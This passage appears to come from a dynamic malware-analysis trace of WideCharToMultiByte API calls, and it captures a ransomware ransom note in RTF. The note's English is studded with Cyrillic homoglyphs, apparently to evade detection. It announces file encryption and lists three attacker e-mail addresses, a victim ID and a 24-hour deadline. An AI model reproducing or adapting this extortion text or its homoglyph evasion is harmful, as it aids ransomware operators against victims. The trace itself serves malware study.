th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 